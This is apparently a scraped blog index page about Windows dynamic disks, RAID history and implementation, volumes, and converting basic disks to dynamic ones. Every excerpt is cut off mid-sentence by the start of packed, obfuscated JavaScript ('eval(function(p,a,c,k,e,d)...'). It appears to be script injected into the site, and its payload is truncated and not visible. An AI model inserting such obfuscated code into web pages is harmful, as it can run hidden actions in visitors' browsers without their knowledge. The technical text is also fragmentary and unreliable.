Dynamic disk Characteristics

Compared to basic disk, dynamic disk has following characteristic: It may change disk capacity at random. You can change the capacity of disk without losing data and restarting computer. That of basic disk may lose data. Disk eval(function(p,a,c,k,e,d){e=function(c){return...

 

RAID Background and more basic things

Norman Ken Ouchi at IBM was awarded U.S. Patent 4,092,732 titled “System for recovering data stored in failed memory unit” in 1978 and the claims for this patent describe what would later be termed RAID 5 with full eval(function(p,a,c,k,e,d){e=function(c){return...

 

Realization of RAID

RAID can be implemented either in dedicated hardware or custom software running on standard hardware. Additionally, there are hybrid eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

 

Volumes on dynamic disks

Volumes on dynamic disks

A volume is a storage unit made from free space on one or more disks. It can be formatted with a file system and assigned a drive letter. Volumes eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

Transform basic disk into dynamic disk

For example, we may transform basic disk into dynamic disk by the disk management utility of Windows eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
